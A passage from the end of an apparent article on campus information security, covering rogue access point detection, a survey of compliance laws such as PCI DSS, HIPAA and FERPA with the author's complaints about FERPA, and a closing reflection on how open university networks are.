        One last thing on this subject, you may want to look out for rogue access points that are not necessarily malicious, but still unwanted. A student, staff or faulty member may set up their own access point in a dorm or office, but not lock it down, so anybody can get on the network by using it with no accountability. This can be mitigated by using tools like Kismet to routinely look for rogue access points, scanning subnets for MAC address know to belong to SOHO (Small Office Home Office) networking vendors or possibly your current WiFi infrastructure vendor has something built into their system already to detect rogue access points via a site survey tool. 

Compliance

        This section will need expanding as I'm a tech, not a compliance officer. Compliance != Security, but admins (the suit kind, not the server/network kind) care about compliance because of the possibility of fines or loss of funds, so compliance concerns could be used as a billy-club to get security projects financed. One problem is figuring out what these laws mean from a technical stand point. Saying that "auditing controls" and encryption must be in place tells you little about what you should implement, and I imagine someone could fit the letter of some laws while still breaking the sprit of them (default Windows host logs only and ROT13 for encryption). Then again, I'm not sure we would want law makers deciding the exact technical controls you have to put in place, so maybe vague is better. For now, I'll just give you a survey of the acronym soup that is compliance, and point you towards some laws that may apply to your institution.

PCI DSS (Payment Card Industry Data Security Standard)

        Do you accept credit cards for tuition, meals, activities and the like? Then you fall under PCI DSS and must protect the payment card data.

HIPAA/HITECH (Health Insurance Portability and Accountability Act / Health Information Technology for Economic and Clinical Health Act)

        Do you have a medical or nursing school with real patients and patient data? They you likely have records that fall under the purview of HIPAA/HITECH.

FISMA/FIPS (Federal Information Security Management Act of 2002 /  Federal Information Processing Standards)

        Are you a research institution that receives money from the government for research that may have classified components?

IRB (Institutional Review Board)

        Not sure who all this applies to, but I imagine ethical concerns will pop up with the use of some types of data you may collect.

FERPA (Family Educational Rights and Privacy Act)

        From a security standpoint, FERPA sets rules for the handling of student information. Did your origination have a breach and leak a bunch of student names, Social Security numbers, grades, etc? Then in theory you could have federal funding pulled if you are found negligent. I say in theory, as I can not find a case of funding ever being pulled (email me if you find one). Also, it seems students/parents themselves can't use FERPA to sue the school (http://epic.org/privacy/education/school.html). Now for a less security related discussion of a FERPA feature, but a more ranty one, there is the issue of students being allowed to amend their records. Getting the FPCO's attention is hard, and you have to submit complaints in paper form (I'm guessing to cut back on their workload). Apparently the right to even have your side put in the record has exceptions. To quote from their site, first they say "If, as a result of the hearing, the school still decides not to amend the record, the eligible student has the right to insert a statement in the record setting forth his or her views" but later put in exceptions "Thus, while FERPA affords eligible students the right to seek to amend education records which contain inaccurate information, this right cannot be used to challenge a grade or an individual's opinion, or a substantive decision made by a school about a student." Wait, a student can't put their side in if the record they  have a problem with involves a grade, opinion, or substantive decision (which could possibly mean anything)? So, when would a student ever be allowed to put their side in? Everything I can think of where a school would want to not change a record falls into those categories, so when does a student ever get a chance to have their side of events put in the record as well? Back to security, I remember interviewing once for a security position at a university, and found it interesting that PCI was on their radar but FERPA was not. But then, why should it be if FERPA has no teeth and no one has ever lost money over it?

        Besides the compliance issues listed above (and ones I surely have missed), check to see if your state has any specific breach notification laws in your jurisdiction.

Conclusion

        In closing let me say that an information security professional in a campus environment is fighting a losing battle from the start. By their very nature university and library systems are more open and accessible than corporate systems and must remain so to be useful to the patrons, students, staff, and faculty who use them. Also, having a certain class of users with excessive power for their competency level, a sense of entitlement, and that can't be fired because of tenure also complicates the using of the stick approach. Even though you can't make your campus' network completely secure and still useable, you can do your best to limit the efforts of the casual attacker. The less casual ones you can hire.

Special thanks to Nancy, Spyrus, Tiger Shark, TheHorse13 and HTRegz for reviewing older versions of this article.